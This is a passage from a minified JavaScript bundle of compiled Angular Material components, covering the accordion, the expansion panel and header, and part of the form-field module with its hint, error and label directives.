new(_||f)},f.\\u0275mod=n.oAB({type:f}),f.\\u0275inj=n.cJS({imports:[s.BQ,s.BQ]}),f})()},7084:(At,ae,d)=>{"use strict";d.d(ae,{To:()=>w,ib:()=>De,u4:()=>Be,yz:()=>xt,yK:()=>pe});var n=d(4650),a=d(5017),s=d(1281),u=d(2654);const f=new n.OlP("CdkAccordion");let _=0,S=(()=>{class R{constructor(_e,ct,Je){this.accordion=_e,this._changeDetectorRef=ct,this._expansionDispatcher=Je,this._openCloseAllSubscription=u.w.EMPTY,this.closed=new n.vpe,this.opened=new n.vpe,this.destroyed=new n.vpe,this.expandedChange=new n.vpe,this.id="cdk-accordion-child-"+_++,this._expanded=!1,this._disabled=!1,this._removeUniqueSelectionListener=()=>{},this._removeUniqueSelectionListener=Je.listen((Et,Dt)=>{this.accordion&&!this.accordion.multi&&this.accordion.id===Dt&&this.id!==Et&&(this.expanded=!1)}),this.accordion&&(this._openCloseAllSubscription=this._subscribeToOpenCloseAllActions())}get expanded(){return this._expanded}set expanded(_e){_e=(0,s.Ig)(_e),this._expanded!==_e&&(this._expanded=_e,this.expandedChange.emit(_e),_e?(this.opened.emit(),this._expansionDispatcher.notify(this.id,this.accordion?this.accordion.id:this.id)):this.closed.emit(),this._changeDetectorRef.markForCheck())}get disabled(){return this._disabled}set disabled(_e){this._disabled=(0,s.Ig)(_e)}ngOnDestroy(){this.opened.complete(),this.closed.complete(),this.destroyed.emit(),this.destroyed.complete(),this._removeUniqueSelectionListener(),this._openCloseAllSubscription.unsubscribe()}toggle(){this.disabled||(this.expanded=!this.expanded)}close(){this.disabled||(this.expanded=!1)}open(){this.disabled||(this.expanded=!0)}_subscribeToOpenCloseAllActions(){return this.accordion._openCloseAllActions.subscribe(_e=>{this.disabled||(this.expanded=_e)})}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(f,12),n.Y36(n.sBO),n.Y36(a.A8))},R.\\u0275dir=n.lG2({type:R,selectors:[["cdk-accordion-item"],["","cdkAccordionItem",""]],inputs:{expanded:"expanded",disabled:"disabled"},outputs:{closed:"closed",opened:"opened",destroyed:"destroyed",expandedChange:"expandedChange"},exportAs:["cdkAccordionItem"],features:[n._Bn([{provide:f,useValue:void 0}])]}),R})(),g=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275mod=n.oAB({type:R}),R.\\u0275inj=n.cJS({}),R})();var C=d(4080),z=d(6895),H=d(3238),j=d(2687),U=d(5778),G=d(1059),Q=d(2198),oe=d(2986),Ce=d(9521),k=d(8929),K=d(8896),se=d(6787),ee=d(7340);const q=["body"];function we(R,X){}const ce=[[["mat-expansion-panel-header"]],"*",[["mat-action-row"]]],je=["mat-expansion-panel-header","*","mat-action-row"];function Ze(R,X){if(1&R&&n._UZ(0,"span",2),2&R){const _e=n.oxw();n.Q6J("@indicatorRotate",_e._getExpandedState())}}const le=[[["mat-panel-title"]],[["mat-panel-description"]],"*"],Oe=["mat-panel-title","mat-panel-description","*"],Qe=new n.OlP("MAT_ACCORDION"),Ye="225ms cubic-bezier(0.4,0.0,0.2,1)",qe={indicatorRotate:(0,ee.X$)("indicatorRotate",[(0,ee.SB)("collapsed, void",(0,ee.oB)({transform:"rotate(0deg)"})),(0,ee.SB)("expanded",(0,ee.oB)({transform:"rotate(180deg)"})),(0,ee.eR)("expanded <=> collapsed, void => collapsed",(0,ee.jt)(Ye))]),bodyExpansion:(0,ee.X$)("bodyExpansion",[(0,ee.SB)("collapsed, void",(0,ee.oB)({height:"0px",visibility:"hidden"})),(0,ee.SB)("expanded",(0,ee.oB)({height:"*",visibility:"visible"})),(0,ee.eR)("expanded <=> collapsed, void => collapsed",(0,ee.jt)(Ye))])},Ke=new n.OlP("MAT_EXPANSION_PANEL");let dt=(()=>{class R{constructor(_e,ct){this._template=_e,this._expansionPanel=ct}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(n.Rgc),n.Y36(Ke,8))},R.\\u0275dir=n.lG2({type:R,selectors:[["ng-template","matExpansionPanelContent",""]]}),R})(),bt=0;const ze=new n.OlP("MAT_EXPANSION_PANEL_DEFAULT_OPTIONS");let De=(()=>{class R extends S{constructor(_e,ct,Je,Et,Dt,Pt,Ie){super(_e,ct,Je),this._viewContainerRef=Et,this._animationMode=Pt,this._hideToggle=!1,this.afterExpand=new n.vpe,this.afterCollapse=new n.vpe,this._inputChanges=new k.xQ,this._headerId="mat-expansion-panel-header-"+bt++,this._bodyAnimationDone=new k.xQ,this.accordion=_e,this._document=Dt,this._bodyAnimationDone.pipe((0,U.x)((te,x)=>te.fromState===x.fromState&&te.toState===x.toState)).subscribe(te=>{"void"!==te.fromState&&("expanded"===te.toState?this.afterExpand.emit():"collapsed"===te.toState&&this.afterCollapse.emit())}),Ie&&(this.hideToggle=Ie.hideToggle)}get hideToggle(){return this._hideToggle||this.accordion&&this.accordion.hideToggle}set hideToggle(_e){this._hideToggle=(0,s.Ig)(_e)}get togglePosition(){return this._togglePosition||this.accordion&&this.accordion.togglePosition}set togglePosition(_e){this._togglePosition=_e}_hasSpacing(){return!!this.accordion&&this.expanded&&"default"===this.accordion.displayMode}_getExpandedState(){return this.expanded?"expanded":"collapsed"}toggle(){this.expanded=!this.expanded}close(){this.expanded=!1}open(){this.expanded=!0}ngAfterContentInit(){this._lazyContent&&this._lazyContent._expansionPanel===this&&this.opened.pipe((0,G.O)(null),(0,Q.h)(()=>this.expanded&&!this._portal),(0,oe.q)(1)).subscribe(()=>{this._portal=new C.UE(this._lazyContent._template,this._viewContainerRef)})}ngOnChanges(_e){this._inputChanges.next(_e)}ngOnDestroy(){super.ngOnDestroy(),this._bodyAnimationDone.complete(),this._inputChanges.complete()}_containsFocus(){if(this._body){const _e=this._document.activeElement,ct=this._body.nativeElement;return _e===ct||ct.contains(_e)}return!1}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(Qe,12),n.Y36(n.sBO),n.Y36(a.A8),n.Y36(n.s_b),n.Y36(z.K0),n.Y36(n.QbO,8),n.Y36(ze,8))},R.\\u0275cmp=n.Xpm({type:R,selectors:[["mat-expansion-panel"]],contentQueries:function(_e,ct,Je){if(1&_e&&n.Suo(Je,dt,5),2&_e){let Et;n.iGM(Et=n.CRH())&&(ct._lazyContent=Et.first)}},viewQuery:function(_e,ct){if(1&_e&&n.Gf(q,5),2&_e){let Je;n.iGM(Je=n.CRH())&&(ct._body=Je.first)}},hostAttrs:[1,"mat-expansion-panel"],hostVars:6,hostBindings:function(_e,ct){2&_e&&n.ekj("mat-expanded",ct.expanded)("_mat-animation-noopable","NoopAnimations"===ct._animationMode)("mat-expansion-panel-spacing",ct._hasSpacing())},inputs:{disabled:"disabled",expanded:"expanded",hideToggle:"hideToggle",togglePosition:"togglePosition"},outputs:{opened:"opened",closed:"closed",expandedChange:"expandedChange",afterExpand:"afterExpand",afterCollapse:"afterCollapse"},exportAs:["matExpansionPanel"],features:[n._Bn([{provide:Qe,useValue:void 0},{provide:Ke,useExisting:R}]),n.qOj,n.TTD],ngContentSelectors:je,decls:7,vars:4,consts:[["role","region",1,"mat-expansion-panel-content",3,"id"],["body",""],[1,"mat-expansion-panel-body"],[3,"cdkPortalOutlet"]],template:function(_e,ct){1&_e&&(n.F$t(ce),n.Hsn(0),n.TgZ(1,"div",0,1),n.NdJ("@bodyExpansion.done",function(Et){return ct._bodyAnimationDone.next(Et)}),n.TgZ(3,"div",2),n.Hsn(4,1),n.YNc(5,we,0,0,"ng-template",3),n.qZA(),n.Hsn(6,2),n.qZA()),2&_e&&(n.xp6(1),n.Q6J("@bodyExpansion",ct._getExpandedState())("id",ct.id),n.uIk("aria-labelledby",ct._headerId),n.xp6(4),n.Q6J("cdkPortalOutlet",ct._portal))},dependencies:[C.Pl],styles:[\'.mat-expansion-panel{box-sizing:content-box;display:block;margin:0;border-radius:4px;overflow:hidden;transition:margin 225ms cubic-bezier(0.4, 0, 0.2, 1),box-shadow 280ms cubic-bezier(0.4, 0, 0.2, 1);position:relative}.mat-accordion .mat-expansion-panel:not(.mat-expanded),.mat-accordion .mat-expansion-panel:not(.mat-expansion-panel-spacing){border-radius:0}.mat-accordion .mat-expansion-panel:first-of-type{border-top-right-radius:4px;border-top-left-radius:4px}.mat-accordion .mat-expansion-panel:last-of-type{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.cdk-high-contrast-active .mat-expansion-panel{outline:solid 1px}.mat-expansion-panel.ng-animate-disabled,.ng-animate-disabled .mat-expansion-panel,.mat-expansion-panel._mat-animation-noopable{transition:none}.mat-expansion-panel-content{display:flex;flex-direction:column;overflow:visible}.mat-expansion-panel-content[style*="visibility: hidden"] *{visibility:hidden !important}.mat-expansion-panel-body{padding:0 24px 16px}.mat-expansion-panel-spacing{margin:16px 0}.mat-accordion>.mat-expansion-panel-spacing:first-child,.mat-accordion>*:first-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-top:0}.mat-accordion>.mat-expansion-panel-spacing:last-child,.mat-accordion>*:last-child:not(.mat-expansion-panel) .mat-expansion-panel-spacing{margin-bottom:0}.mat-action-row{border-top-style:solid;border-top-width:1px;display:flex;flex-direction:row;justify-content:flex-end;padding:16px 8px 16px 24px}.mat-action-row .mat-button-base,.mat-action-row .mat-mdc-button-base{margin-left:8px}[dir=rtl] .mat-action-row .mat-button-base,[dir=rtl] .mat-action-row .mat-mdc-button-base{margin-left:0;margin-right:8px}\'],encapsulation:2,data:{animation:[qe.bodyExpansion]},changeDetection:0}),R})();class ve{}const We=(0,H.sb)(ve);let xt=(()=>{class R extends We{constructor(_e,ct,Je,Et,Dt,Pt,Ie){super(),this.panel=_e,this._element=ct,this._focusMonitor=Je,this._changeDetectorRef=Et,this._animationMode=Pt,this._parentChangeSubscription=u.w.EMPTY;const te=_e.accordion?_e.accordion._stateChanges.pipe((0,Q.h)(x=>!(!x.hideToggle&&!x.togglePosition))):K.E;this.tabIndex=parseInt(Ie||"")||0,this._parentChangeSubscription=(0,se.T)(_e.opened,_e.closed,te,_e._inputChanges.pipe((0,Q.h)(x=>!!(x.hideToggle||x.disabled||x.togglePosition)))).subscribe(()=>this._changeDetectorRef.markForCheck()),_e.closed.pipe((0,Q.h)(()=>_e._containsFocus())).subscribe(()=>Je.focusVia(ct,"program")),Dt&&(this.expandedHeight=Dt.expandedHeight,this.collapsedHeight=Dt.collapsedHeight)}get disabled(){return this.panel.disabled}_toggle(){this.disabled||this.panel.toggle()}_isExpanded(){return this.panel.expanded}_getExpandedState(){return this.panel._getExpandedState()}_getPanelId(){return this.panel.id}_getTogglePosition(){return this.panel.togglePosition}_showToggle(){return!this.panel.hideToggle&&!this.panel.disabled}_getHeaderHeight(){const _e=this._isExpanded();return _e&&this.expandedHeight?this.expandedHeight:!_e&&this.collapsedHeight?this.collapsedHeight:null}_keydown(_e){switch(_e.keyCode){case Ce.L_:case Ce.K5:(0,Ce.Vb)(_e)||(_e.preventDefault(),this._toggle());break;default:return void(this.panel.accordion&&this.panel.accordion._handleHeaderKeydown(_e))}}focus(_e,ct){_e?this._focusMonitor.focusVia(this._element,_e,ct):this._element.nativeElement.focus(ct)}ngAfterViewInit(){this._focusMonitor.monitor(this._element).subscribe(_e=>{_e&&this.panel.accordion&&this.panel.accordion._handleHeaderFocus(this)})}ngOnDestroy(){this._parentChangeSubscription.unsubscribe(),this._focusMonitor.stopMonitoring(this._element)}}return R.\\u0275fac=function(_e){return new(_e||R)(n.Y36(De,1),n.Y36(n.SBq),n.Y36(j.tE),n.Y36(n.sBO),n.Y36(ze,8),n.Y36(n.QbO,8),n.$8M("tabindex"))},R.\\u0275cmp=n.Xpm({type:R,selectors:[["mat-expansion-panel-header"]],hostAttrs:["role","button",1,"mat-expansion-panel-header","mat-focus-indicator"],hostVars:15,hostBindings:function(_e,ct){1&_e&&n.NdJ("click",function(){return ct._toggle()})("keydown",function(Et){return ct._keydown(Et)}),2&_e&&(n.uIk("id",ct.panel._headerId)("tabindex",ct.tabIndex)("aria-controls",ct._getPanelId())("aria-expanded",ct._isExpanded())("aria-disabled",ct.panel.disabled),n.Udp("height",ct._getHeaderHeight()),n.ekj("mat-expanded",ct._isExpanded())("mat-expansion-toggle-indicator-after","after"===ct._getTogglePosition())("mat-expansion-toggle-indicator-before","before"===ct._getTogglePosition())("_mat-animation-noopable","NoopAnimations"===ct._animationMode))},inputs:{tabIndex:"tabIndex",expandedHeight:"expandedHeight",collapsedHeight:"collapsedHeight"},features:[n.qOj],ngContentSelectors:Oe,decls:5,vars:3,consts:[[1,"mat-content"],["class","mat-expansion-indicator",4,"ngIf"],[1,"mat-expansion-indicator"]],template:function(_e,ct){1&_e&&(n.F$t(le),n.TgZ(0,"span",0),n.Hsn(1),n.Hsn(2,1),n.Hsn(3,2),n.qZA(),n.YNc(4,Ze,1,1,"span",1)),2&_e&&(n.ekj("mat-content-hide-toggle",!ct._showToggle()),n.xp6(4),n.Q6J("ngIf",ct._showToggle()))},dependencies:[z.O5],styles:[\'.mat-expansion-panel-header{display:flex;flex-direction:row;align-items:center;padding:0 24px;border-radius:inherit;transition:height 225ms cubic-bezier(0.4, 0, 0.2, 1)}.mat-expansion-panel-header._mat-animation-noopable{transition:none}.mat-expansion-panel-header:focus,.mat-expansion-panel-header:hover{outline:none}.mat-expansion-panel-header.mat-expanded:focus,.mat-expansion-panel-header.mat-expanded:hover{background:inherit}.mat-expansion-panel-header:not([aria-disabled=true]){cursor:pointer}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before{flex-direction:row-reverse}.mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 16px 0 0}[dir=rtl] .mat-expansion-panel-header.mat-expansion-toggle-indicator-before .mat-expansion-indicator{margin:0 0 0 16px}.mat-content{display:flex;flex:1;flex-direction:row;overflow:hidden}.mat-content.mat-content-hide-toggle{margin-right:8px}[dir=rtl] .mat-content.mat-content-hide-toggle{margin-right:0;margin-left:8px}.mat-expansion-toggle-indicator-before .mat-content.mat-content-hide-toggle{margin-left:24px;margin-right:0}[dir=rtl] .mat-expansion-toggle-indicator-before .mat-content.mat-content-hide-toggle{margin-right:24px;margin-left:0}.mat-expansion-panel-header-title,.mat-expansion-panel-header-description{display:flex;flex-grow:1;flex-basis:0;margin-right:16px;align-items:center}[dir=rtl] .mat-expansion-panel-header-title,[dir=rtl] .mat-expansion-panel-header-description{margin-right:0;margin-left:16px}.mat-expansion-panel-header-description{flex-grow:2}.mat-expansion-indicator::after{border-style:solid;border-width:0 2px 2px 0;content:"";display:inline-block;padding:3px;transform:rotate(45deg);vertical-align:middle}.cdk-high-contrast-active .mat-expansion-panel-content{border-top:1px solid;border-top-left-radius:0;border-top-right-radius:0}\'],encapsulation:2,data:{animation:[qe.indicatorRotate]},changeDetection:0}),R})(),Be=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275dir=n.lG2({type:R,selectors:[["mat-panel-description"]],hostAttrs:[1,"mat-expansion-panel-header-description"]}),R})(),pe=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275dir=n.lG2({type:R,selectors:[["mat-panel-title"]],hostAttrs:[1,"mat-expansion-panel-header-title"]}),R})(),w=(()=>{class R{}return R.\\u0275fac=function(_e){return new(_e||R)},R.\\u0275mod=n.oAB({type:R}),R.\\u0275inj=n.cJS({imports:[z.ez,H.BQ,g,C.eL]}),R})()},9549:(At,ae,d)=>{"use strict";d.d(ae,{Eo:()=>dt,G_:()=>Dt,KE:()=>Pt,R9:()=>R,TO:()=>qe,bx:()=>We,hX:()=>xt,lN:()=>Ie,qo:()=>P});var n=d(9643),a=d(6895),s=d(4650),u=d(3238),c=d(445),f=d(1281),E=d(8929),_=d(6787),S=d(3753),g=d(1059),C=d(7625),z=d(2986),H=d(7340),j=d(3353);const U=["connectionContainer"],G=["inputContainer"],Q=["label"];function oe(te,x){1&te&&(s.ynx(0),s.TgZ(1,"div",14),s._UZ(2,"div",15)(3,"div",16)(4,"div",17),s.qZA(),s.TgZ(5,"div",18),s._UZ(6,"div",15)(7,"div",16)(8,"div",17),s.qZA(),s.BQk())}function Ce(te,x){if(1&te){const m=s.EpF();s.TgZ(0,"div",19),s.NdJ("cdkObserveContent",function(){s.CHM(m);const B=s.oxw();return s.KtG(B.updateOutlineGap())}),s.Hsn(1,1),s.qZA()}if(2&te){const m=s.oxw();s.Q6J("cdkObserveContentDisabled","outline"!=m.appearance)}}function k(te,x){if(1&te&&(s.ynx(0),s.Hsn(1,2),s.TgZ(2,"span"),s._uU(3),s.qZA(),s.BQk()),2&te){const m=s.oxw(2);s.xp6(3),s.Oqu(m._control.placeholder)}}function K(te,x){1&te&&s.Hsn(0,3,["*ngSwitchCase","true"])}function se(te,x){1&te&&(s.TgZ(0,"span",23),s._uU(1," *"),s.qZA())}function ee(te,x){if(1&te){const m=s.EpF();s.TgZ(0,"label",20,21),s.NdJ("cdkObserveContent",function(){s.CHM(m);const B=s.oxw();return s.KtG(B.updateOutlineGap())}),s.YNc(2,k,4,1,"ng-container",12),s.YNc(3,K,1,0,"ng-content",12),s.YNc(4,se,2,0,"span",22),s.qZA()}if(2&te){const m=s.oxw();s.ekj("mat-empty",m._control.empty&&!m._shouldAlwaysFloat())("mat-form-field-empty",m._control.empty&&!m._shouldAlwaysFloat())("mat-accent","accent"==m.color)("mat-warn","warn"==m.color),s.Q6J("cdkObserveContentDisabled","outline"!=m.appearance)("id",m._labelId)("ngSwitch",m._hasLabel()),s.uIk("for",m._control.id)("aria-owns",m._control.id),s.xp6(2),s.Q6J("ngSwitchCase",!1),s.xp6(1),s.Q6J("ngSwitchCase",!0),s.xp6(1),s.Q6J("ngIf",!m.hideRequiredMarker&&m._control.required&&!m._control.disabled)}}function q(te,x){1&te&&(s.TgZ(0,"div",24),s.Hsn(1,4),s.qZA())}function we(te,x){if(1&te&&(s.TgZ(0,"div",25),s._UZ(1,"span",26),s.qZA()),2&te){const m=s.oxw();s.xp6(1),s.ekj("mat-accent","accent"==m.color)("mat-warn","warn"==m.color)}}function ce(te,x){if(1&te&&(s.TgZ(0,"div"),s.Hsn(1,5),s.qZA()),2&te){const m=s.oxw();s.Q6J("@transitionMessages",m._subscriptAnimationState)}}function je(te,x){if(1&te&&(s.TgZ(0,"div",30),s._uU(1),s.qZA()),2&te){const m=s.oxw(2);s.Q6J("id",m._hintLabelId),s.xp6(1),s.Oqu(m.hintLabel)}}function Ze(te,x){if(1&te&&(s.TgZ(0,"div",27),s.YNc(1,je,2,2,"div",28),s.Hsn(2,6),s._UZ(3,"div",29),s.Hsn(4,7),s.qZA()),2&te){const m=s.oxw();s.Q6J("@transitionMessages",m._subscriptAnimationState),s.xp6(1),s.Q6J("ngIf",m.hintLabel)}}const le=["*",[["","matPrefix",""]],[["mat-placeholder"]],[["mat-label"]],[["","matSuffix",""]],[["mat-error"]],[["mat-hint",3,"align","end"]],[["mat-hint","align","end"]]],Oe=["*","[matPrefix]","mat-placeholder","mat-label","[matSuffix]","mat-error","mat-hint:not([align=\'end\'])","mat-hint[align=\'end\']"];let Qe=0;const Ye=new s.OlP("MatError");let qe=(()=>{class te{constructor(m,b){this.id="mat-error-"+Qe++,m||b.nativeElement.setAttribute("aria-live","polite")}}return te.\\u0275fac=function(m){return new(m||te)(s.$8M("aria-live"),s.Y36(s.SBq))},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-error"]],hostAttrs:["aria-atomic","true",1,"mat-error"],hostVars:1,hostBindings:function(m,b){2&m&&s.uIk("id",b.id)},inputs:{id:"id"},features:[s._Bn([{provide:Ye,useExisting:te}])]}),te})();const Ke={transitionMessages:(0,H.X$)("transitionMessages",[(0,H.SB)("enter",(0,H.oB)({opacity:1,transform:"translateY(0%)"})),(0,H.eR)("void => enter",[(0,H.oB)({opacity:0,transform:"translateY(-5px)"}),(0,H.jt)("300ms cubic-bezier(0.55, 0, 0.55, 0.2)")])])};let dt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te}),te})(),re=0;const ve=new s.OlP("MatHint");let We=(()=>{class te{constructor(){this.align="start",this.id="mat-hint-"+re++}}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-hint"]],hostAttrs:[1,"mat-hint"],hostVars:4,hostBindings:function(m,b){2&m&&(s.uIk("id",b.id)("align",null),s.ekj("mat-form-field-hint-end","end"===b.align))},inputs:{align:"align",id:"id"},features:[s._Bn([{provide:ve,useExisting:te}])]}),te})(),xt=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-label"]]}),te})(),Be=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["mat-placeholder"]]}),te})();const pe=new s.OlP("MatPrefix");let P=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["","matPrefix",""]],features:[s._Bn([{provide:pe,useExisting:te}])]}),te})();const w=new s.OlP("MatSuffix");let R=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275dir=s.lG2({type:te,selectors:[["","matSuffix",""]],features:[s._Bn([{provide:w,useExisting:te}])]}),te})(),X=0;const Je=(0,u.pj)(class{constructor(te){this._elementRef=te}},"primary"),Et=new s.OlP("MAT_FORM_FIELD_DEFAULT_OPTIONS"),Dt=new s.OlP("MatFormField");let Pt=(()=>{class te extends Je{constructor(m,b,B,ie,Xe,it,wt){super(m),this._changeDetectorRef=b,this._dir=B,this._defaults=ie,this._platform=Xe,this._ngZone=it,this._outlineGapCalculationNeededImmediately=!1,this._outlineGapCalculationNeededOnStable=!1,this._destroyed=new E.xQ,this._hideRequiredMarker=!1,this._showAlwaysAnimate=!1,this._subscriptAnimationState="",this._hintLabel="",this._hintLabelId="mat-hint-"+X++,this._labelId="mat-form-field-label-"+X++,this.floatLabel=this._getDefaultFloatLabelState(),this._animationsEnabled="NoopAnimations"!==wt,this.appearance=ie?.appearance||"legacy",ie&&(this._hideRequiredMarker=Boolean(ie.hideRequiredMarker),ie.color&&(this.color=this.defaultColor=ie.color))}get appearance(){return this._appearance}set appearance(m){const b=this._appearance;this._appearance=m||this._defaults?.appearance||"legacy","outline"===this._appearance&&b!==m&&(this._outlineGapCalculationNeededOnStable=!0)}get hideRequiredMarker(){return this._hideRequiredMarker}set hideRequiredMarker(m){this._hideRequiredMarker=(0,f.Ig)(m)}_shouldAlwaysFloat(){return"always"===this.floatLabel&&!this._showAlwaysAnimate}_canLabelFloat(){return"never"!==this.floatLabel}get hintLabel(){return this._hintLabel}set hintLabel(m){this._hintLabel=m,this._processHints()}get floatLabel(){return"legacy"!==this.appearance&&"never"===this._floatLabel?"auto":this._floatLabel}set floatLabel(m){m!==this._floatLabel&&(this._floatLabel=m||this._getDefaultFloatLabelState(),this._changeDetectorRef.markForCheck())}get _control(){return this._explicitFormFieldControl||this._controlNonStatic||this._controlStatic}set _control(m){this._explicitFormFieldControl=m}getLabelId(){return this._hasFloatingLabel()?this._labelId:null}getConnectedOverlayOrigin(){return this._connectionContainerRef||this._elementRef}ngAfterContentInit(){this._validateControlChild();const m=this._control;m.controlType&&this._elementRef.nativeElement.classList.add(`mat-form-field-type-${m.controlType}`),m.stateChanges.pipe((0,g.O)(null)).subscribe(()=>{this._validatePlaceholders(),this._syncDescribedByIds(),this._changeDetectorRef.markForCheck()}),m.ngControl&&m.ngControl.valueChanges&&m.ngControl.valueChanges.pipe((0,C.R)(this._destroyed)).subscribe(()=>this._changeDetectorRef.markForCheck()),this._ngZone.runOutsideAngular(()=>{this._ngZone.onStable.pipe((0,C.R)(this._destroyed)).subscribe(()=>{this._outlineGapCalculationNeededOnStable&&this.updateOutlineGap()})}),(0,_.T)(this._prefixChildren.changes,this._suffixChildren.changes).subscribe(()=>{this._outlineGapCalculationNeededOnStable=!0,this._changeDetectorRef.markForCheck()}),this._hintChildren.changes.pipe((0,g.O)(null)).subscribe(()=>{this._processHints(),this._changeDetectorRef.markForCheck()}),this._errorChildren.changes.pipe((0,g.O)(null)).subscribe(()=>{this._syncDescribedByIds(),this._changeDetectorRef.markForCheck()}),this._dir&&this._dir.change.pipe((0,C.R)(this._destroyed)).subscribe(()=>{"function"==typeof requestAnimationFrame?this._ngZone.runOutsideAngular(()=>{requestAnimationFrame(()=>this.updateOutlineGap())}):this.updateOutlineGap()})}ngAfterContentChecked(){this._validateControlChild(),this._outlineGapCalculationNeededImmediately&&this.updateOutlineGap()}ngAfterViewInit(){this._subscriptAnimationState="enter",this._changeDetectorRef.detectChanges()}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_shouldForward(m){const b=this._control?this._control.ngControl:null;return b&&b[m]}_hasPlaceholder(){return!!(this._control&&this._control.placeholder||this._placeholderChild)}_hasLabel(){return!(!this._labelChildNonStatic&&!this._labelChildStatic)}_shouldLabelFloat(){return this._canLabelFloat()&&(this._control&&this._control.shouldLabelFloat||this._shouldAlwaysFloat())}_hideControlPlaceholder(){return"legacy"===this.appearance&&!this._hasLabel()||this._hasLabel()&&!this._shouldLabelFloat()}_hasFloatingLabel(){return this._hasLabel()||"legacy"===this.appearance&&this._hasPlaceholder()}_getDisplayedMessages(){return this._errorChildren&&this._errorChildren.length>0&&this._control.errorState?"error":"hint"}_animateAndLockLabel(){this._hasFloatingLabel()&&this._canLabelFloat()&&(this._animationsEnabled&&this._label&&(this._showAlwaysAnimate=!0,(0,S.R)(this._label.nativeElement,"transitionend").pipe((0,z.q)(1)).subscribe(()=>{this._showAlwaysAnimate=!1})),this.floatLabel="always",this._changeDetectorRef.markForCheck())}_validatePlaceholders(){}_processHints(){this._validateHints(),this._syncDescribedByIds()}_validateHints(){}_getDefaultFloatLabelState(){return this._defaults&&this._defaults.floatLabel||"auto"}_syncDescribedByIds(){if(this._control){let m=[];if(this._control.userAriaDescribedBy&&"string"==typeof this._control.userAriaDescribedBy&&m.push(...this._control.userAriaDescribedBy.split(" ")),"hint"===this._getDisplayedMessages()){const b=this._hintChildren?this._hintChildren.find(ie=>"start"===ie.align):null,B=this._hintChildren?this._hintChildren.find(ie=>"end"===ie.align):null;b?m.push(b.id):this._hintLabel&&m.push(this._hintLabelId),B&&m.push(B.id)}else this._errorChildren&&m.push(...this._errorChildren.map(b=>b.id));this._control.setDescribedByIds(m)}}_validateControlChild(){}updateOutlineGap(){const m=this._label?this._label.nativeElement:null,b=this._connectionContainerRef.nativeElement,B=".mat-form-field-outline-start",ie=".mat-form-field-outline-gap";if("outline"!==this.appearance||!this._platform.isBrowser)return;if(!m||!m.children.length||!m.textContent.trim()){const Gt=b.querySelectorAll(`${B}, ${ie}`);for(let qt=0;qt<Gt.length;qt++)Gt[qt].style.width="0";return}if(!this._isAttachedToDOM())return void(this._outlineGapCalculationNeededImmediately=!0);let Xe=0,it=0;const wt=b.querySelectorAll(B),Vt=b.querySelectorAll(ie);if(this._label&&this._label.nativeElement.children.length){const Gt=b.getBoundingClientRect();if(0===Gt.width&&0===Gt.height)return this._outlineGapCalculationNeededOnStable=!0,void(this._outlineGapCalculationNeededImmediately=!1);const qt=this._getStartEnd(Gt),u1=m.children,c1=this._getStartEnd(u1[0].getBoundingClientRect());let It=0;for(let _t=0;_t<u1.length;_t++)It+=u1[_t].offsetWidth;Xe=Math.abs(c1-qt)-5,it=It>0?.75*It+10:0}for(let Gt=0;Gt<wt.length;Gt++)wt[Gt].style.width=`${Xe}px`;for(let Gt=0;Gt<Vt.length;Gt++)Vt[Gt].style.width=`${it}px`;this._outlineGapCalculationNeededOnStable=this._outlineGapCalculationNeededImmediately=!1}_getStartEnd(m){return this._dir&&"rtl"===this._dir.value?m.right:m.left}_isAttachedToDOM(){const m=this._elementRef.nativeElement;if(m.getRootNode){const b=m.getRootNode();return b&&b!==m}return document.documentElement.contains(m)}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(c.Is,8),s.Y36(Et,8),s.Y36(j.t4),s.Y36(s.R0b),s.Y36(s.QbO,8))},te.\\u0275cmp=s.Xpm({type:te,selectors:[["mat-form-field"]],contentQueries:function(m,b,B){if(1&m&&(s.Suo(B,dt,5),s.Suo(B,dt,7),s.Suo(B,xt,5),s.Suo(B,xt,7),s.Suo(B,Be,5),s.Suo(B,Ye,5),s.Suo(B,ve,5),s.Suo(B,pe,5),s.Suo(B,w,5)),2&m){let ie;s.iGM(ie=s.CRH())&&(b._controlNonStatic=ie.first),s.iGM(ie=s.CRH())&&(b._controlStatic=ie.first),s.iGM(ie=s.CRH())&&(b._labelChildNonStatic=ie.first),s.iGM(ie=s.CRH())&&(b._labelChildStatic=ie.first),s.iGM(ie=s.CRH())&&(b._placeholderChild=ie.first),s.iGM(ie=s.CRH())&&(b._errorChildren=ie),s.iGM(ie=s.CRH())&&(b._hintChildren=ie),s.iGM(ie=s.CRH())&&(b._prefixChildren=ie),s.iGM(ie=s.CRH())&&(b._suffixChildren=ie)}},viewQuery:function(m,b){if(1&m&&(s.Gf(U,7),s.Gf(G,5),s.Gf(Q,5)),2&m){let 